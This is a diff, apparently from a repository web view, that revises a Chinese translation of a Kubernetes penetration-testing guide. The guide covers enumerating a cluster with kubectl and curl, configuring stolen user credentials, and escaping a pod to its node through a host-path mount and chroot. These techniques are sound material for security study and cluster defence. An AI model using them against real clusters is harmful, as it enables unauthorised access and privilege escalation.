服务帐户令牌由位于文件 **sa.key** 中的密钥签名，并由 **sa.pub** 验证。
|
||||
|
||||
在**Kubernetes**上的默认位置：
|
||||
在 **Kubernetes** 的默认位置：
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
在**Minikube**上的默认位置：
|
||||
在 **Minikube** 的默认位置：
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods are**_ 包含特权服务帐户令牌的pod。特权服务帐户令牌是具有执行特权任务权限的令牌，例如列出秘密、创建pod等。
|
||||
_**Hot pods 是**_ 包含特权服务帐户令牌的 pods。特权服务帐户令牌是具有执行特权任务权限的令牌，例如列出秘密、创建 pods 等。
|
||||
|
||||
## RBAC
|
||||
|
||||
如果您不知道什么是**RBAC**，**请阅读本节**。
|
||||
如果您不知道 **RBAC** 是什么，请 **阅读本节**。
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: 一个从终端枚举Kubernetes集群的GUI。查看[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/)中的命令。输入`:namespace`并选择所有，然后在所有命名空间中搜索资源。
|
||||
- **k8slens**: 提供一些免费试用天数：[https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k9s**: 一个从终端枚举 Kubernetes 集群的 GUI。查看 [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) 中的命令。输入 `:namespace` 并选择所有，然后在所有命名空间中搜索资源。
|
||||
- **k8slens**: 提供一些免费试用天数: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
为了枚举K8s环境，您需要以下几项：
|
||||
为了枚举 K8s 环境，您需要以下几项：
|
||||
|
||||
- 一个**有效的身份验证令牌**。在上一节中，我们看到了在哪里搜索用户令牌和服务帐户令牌。
|
||||
- **Kubernetes API的
|
||||
- 一个 **有效的身份验证令牌**。在上一节中，我们看到在哪里搜索用户令牌和服务帐户令牌。
|
||||
- **Kubernetes API 的地址 (**_**https://host:port**_**)**。这通常可以在环境变量和/或 kube 配置文件中找到。
|
||||
- **可选**: **ca.crt 以验证 API 服务器**。这可以在与令牌相同的位置找到。这对于验证 API 服务器证书很有用，但使用 `--insecure-skip-tls-verify` 与 `kubectl` 或 `-k` 与 `curl` 时，您不需要这个。
|
||||
|
||||
有了这些细节，您可以 **枚举 Kubernetes**。如果 **API** 出于某种原因通过 **Internet** **可访问**，您可以直接下载该信息并从您的主机枚举该平台。
|
||||
|
||||
然而，通常 **API 服务器位于内部网络中**，因此您需要 **通过被攻陷的机器创建一个隧道** 以从您的机器访问它，或者您可以 **上传** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) 二进制文件，或使用 **`curl/wget/anything`** 对 API 服务器执行原始 HTTP 请求。
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
使用 **`get`** 权限，您可以访问特定资产的信息 (_`describe` 选项在 `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
如果您拥有 **`list`** 权限，则可以执行 API 请求以列出某种资产（_`kubectl` 中的 `get` 选项_）：
|
||||
如果您拥有 **`list`** 权限，则可以执行 API 请求以列出某种资产 (_`kubectl` 中的 `get` 选项_)：
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
如果您拥有 **`watch`** 权限，则可以执行 API 请求以监控资产：
|
||||
如果您拥有 **`watch`** 权限，则可以执行 API 请求以监视资产：
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -114,7 +123,7 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-
|
||||
|
||||
您可以在[**这里找到官方的 kubectl 备忘单**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/)。以下部分的目标是以有序的方式展示不同的选项，以枚举和理解您已获得访问权限的新 K8s。
|
||||
|
||||
要找到 `kubectl` 发送的 HTTP 请求，您可以使用参数 `-v=8`
|
||||
要找到 `kubectl` 发送的 HTTP 请求，您可以使用参数 `-v=8`。
|
||||
|
||||
#### MitM kubectl - 代理 kubectl
|
||||
```bash
|
||||
@@ -141,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
如果你成功窃取了一些用户的凭据，你可以使用类似的方式**在本地配置它们**：
|
||||
如果你成功窃取了一些用户凭据，你可以使用类似的方式**在本地配置它们**：
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -190,13 +199,13 @@ kurl -i -s -k -X $'POST' \
|
||||
|
||||
检查您的权限的另一种方法是使用工具：[**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
您可以在以下内容中了解更多关于**Kubernetes RBAC**的信息：
|
||||
您可以在以下内容中了解更多关于 **Kubernetes RBAC** 的信息：
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**一旦您知道自己拥有的权限**，请查看以下页面以确定**您是否可以利用这些权限**来提升权限：
|
||||
**一旦您知道自己拥有的权限**，请查看以下页面以确定 **您是否可以利用这些权限** 来提升权限：
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -319,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||||
|
||||
### 获取服务
|
||||
|
||||
Kubernetes **服务**用于**在特定端口和 IP 上暴露服务**（这将作为负载均衡器，指向实际提供服务的 pods）。了解在哪里可以找到其他服务以尝试攻击是很有趣的。
|
||||
Kubernetes **服务**用于 **在特定端口和 IP 上暴露服务**（这将充当实际提供服务的 pod 的负载均衡器）。 这很有趣，因为可以知道在哪里找到其他服务以尝试攻击。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -356,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
|
||||
|
||||
### 获取 DaemonSets
|
||||
|
||||
**DaeamonSets** 允许确保 **特定的 pod 在集群的所有节点上运行**（或在选定的节点上）。如果您删除 DaemonSet，受其管理的 pods 也将被删除。
|
||||
**DaemonSets** 允许确保 **特定的 pod 在集群的所有节点上运行**（或在选定的节点上）。如果您删除 DaemonSet，受其管理的 pods 也将被删除。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -374,7 +383,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||||
|
||||
### 获取 cronjob
|
||||
|
||||
Cron jobs 允许使用类似 crontab 的语法调度启动一个将执行某些操作的 pod。
|
||||
Cron jobs 允许使用类似 crontab 的语法调度启动一个 pod 来执行某些操作。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -392,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### 获取 configMap
|
||||
|
||||
configMap 通常包含大量信息和配置文件，这些文件提供给在 kubernetes 中运行的应用程序。通常，您可以找到许多用于连接和验证其他内部/外部服务的密码、秘密和令牌。
|
||||
configMap 通常包含大量信息和配置文件，这些文件提供给在 Kubernetes 中运行的应用程序。通常，您可以找到许多用于连接和验证其他内部/外部服务的密码、秘密和令牌。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -420,7 +429,7 @@ k get CiliumClusterwideNetworkPolicies
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### 获取所有内容 / 全部
|
||||
### 获取所有信息 / 全部
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -452,11 +461,11 @@ k top pod --all-namespaces
|
||||
|
||||
## 在不使用 kubectl 的情况下与集群交互
|
||||
|
||||
由于 Kubernetes 控制平面暴露了 REST-ful API，您可以手动构造 HTTP 请求，并使用其他工具发送它们，例如 **curl** 或 **wget**。
|
||||
由于 Kubernetes 控制平面暴露了 RESTful API，您可以手动构造 HTTP 请求，并使用其他工具发送它们，例如 **curl** 或 **wget**。
|
||||
|
||||
### 从 pod 中逃逸
|
||||
|
||||
如果您能够创建新的 pod，您可能能够从中逃逸到节点。为此，您需要使用 yaml 文件创建一个新 pod，切换到创建的 pod，然后 chroot 到节点的系统中。您可以使用已经存在的 pod 作为 yaml 文件的参考，因为它们显示了现有的镜像和路径。
|
||||
如果您能够创建新的 pod，您可能能够从中逃逸到节点。为此，您需要使用 yaml 文件创建一个新 pod，切换到创建的 pod，然后 chroot 进入节点的系统。您可以使用已经存在的 pod 作为 yaml 文件的参考，因为它们显示了现有的镜像和路径。
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
@@ -496,11 +505,11 @@ restartPolicy: Never
|
||||
# or using
|
||||
# node-role.kubernetes.io/master: ""
|
||||
```
|
||||
在那之后，您创建了 pod
|
||||
在那之后，你创建了 pod
|
||||
```bash
|
||||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||||
```
|
||||
现在您可以通过以下方式切换到创建的 pod：
|
||||
现在您可以按如下方式切换到创建的 pod
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
@@ -508,7 +517,7 @@ kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
信息来源：[Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
从以下信息获取： [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### 创建特权 Pod
|
||||
|
||||
|
||||
Reference in New Issue
Block a user